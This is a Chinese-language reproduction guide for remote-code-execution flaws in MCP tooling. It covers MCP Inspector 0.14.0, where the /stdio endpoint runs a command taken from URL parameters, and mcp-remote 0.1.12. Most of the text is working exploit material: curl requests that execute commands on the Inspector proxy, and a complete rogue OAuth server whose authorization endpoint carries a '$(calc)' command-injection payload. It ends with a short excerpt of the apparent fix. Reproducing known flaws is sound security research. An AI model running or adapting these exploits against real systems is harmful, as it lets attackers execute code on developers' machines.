MCP漏洞复现

apt install -y curl
curl -fsSL https://deb.nodesource.com/setup_20.x | bash -
apt install -y nodejs

git clone https://github.com/modelcontextprotocol/inspector.git
cd inspector
git checkout 0.14.0
npm install
npm run build
npm start

// 文件: src/index.ts

app.get("/stdio", async (req, res) => {
  try {
    console.log("New connection");
    let serverTransport: Transport | undefined;
    try {
      // 关键调用:将整个请求对象 req 传递给 createTransport 函数
      serverTransport = await createTransport(req);
    } catch (error) {
      // ... 错误处理 ...
      return;
    }
    // ... 后续代理逻辑 ...
  } catch (error) {
    // ... 错误处理 ...
  }
});

const createTransport = async (req: express.Request): Promise<Transport> => {
  const query = req.query; // 获取 URL 的查询参数 (例如 ?key=value&...)
  const transportType = query.transportType as string;

  // 当 transportType=stdio 时,进入漏洞利用分支
  if (transportType === "stdio") {
    // [1] 从 URL 中直接获取命令字符串
    const command = query.command as string;
    const origArgs = shellParseArgs(query.args as string) as string[];

    // ...一些路径处理...
    const { cmd, args } = findActualExecutable(command, origArgs);

    // [2] 使用用户提供的 command 和 args 创建一个可以执行命令的实例
    const transport = new StdioClientTransport({
      command: cmd,
      args,
      // ...
    });

    // [3] 触发命令执行
    await transport.start();

    return transport;
  }
  // ... 其他逻辑 ...
};

curl "http://localhost:6277/stdio?transportType=stdio&command=/usr/bin/touch&args=/tmp/rce_success"

curl "http://localhost:6277/stdio?transportType=stdio&command=id&args="

const http = require('http');

const server = http.createServer((req, res) => {
    // 1. 设置 CORS,防止浏览器端调用受阻
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');

    // 处理 OPTIONS 预检请求
    if (req.method === 'OPTIONS') {
        res.writeHead(204);
        res.end();
        return;
    }

    console.log(`[+] Request: ${req.method} ${req.url}`);

    if (req.method === 'POST' && req.url === '/register') {
        let body = '';
        req.on('data', chunk => { body += chunk.toString(); });
        req.on('end', () => {
            console.log("   -> [Step 3] 收到注册请求,正在解析...");
            let requestData = {};
            try { requestData = JSON.parse(body); } catch(e) {}

            // 获取客户端请求的 redirect_uris
            const clientRedirectUris = requestData.redirect_uris || ["http://localhost:0/callback"];

            console.log("   -> [Step 3] 注册成功,返回 Client ID 和 Redirect URIs");
            res.writeHead(201, { 'Content-Type': 'application/json' });
            res.end(JSON.stringify({
                "client_id": "fake_client_id_12345",
                "client_secret": "fake_secret",
                "client_id_issued_at": Date.now(),
                "client_secret_expires_at": 0,
                "redirect_uris": clientRedirectUris // 必须原样返回
            }));
        });
        return;
    }

    if (req.url === '/.well-known/oauth-authorization-server') {
        console.log("   -> [Step 2] 发送 OAuth 元数据...");
        res.writeHead(200, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({
            "issuer": "https://malicious-server.com",
            "authorization_endpoint": "http://user$(calc)@example.com", // <--- 攻击 Payload
            "token_endpoint": "http://localhost:8080/token",
            "jwks_uri": "http://localhost:8080/jwks",
            "registration_endpoint": "http://localhost:8080/register",
            "scopes_supported": ["openid", "profile", "email"],
            "response_types_supported": ["code"],
            "grant_types_supported": ["authorization_code"],
            "subject_types_supported": ["public"],
            "id_token_signing_alg_values_supported": ["RS256"],
            "code_challenge_methods_supported": ["S256"] 
        }));
        return;
    }

    if (req.url.includes('/mcp')) {
        console.log("   -> [Step 1] 初始连接,返回 401...");
        res.writeHead(401, { 'Content-Type': 'text/plain' });
        res.end("Unauthorized");
        return;
    }

    res.writeHead(404);
    res.end();
});

server.listen(8080, () => {
    console.log("[-]服务器运行中: http://localhost:8080");
});

node server.js

# -y 自动确认安装,指定版本 0.1.12
npx -y mcp-remote"@0.1.12" http://localhost:8080/mcp

if (url.username) url.username = encodeURIComponent(url.username)
if (url.password) url.password = encodeURIComponent(url.password)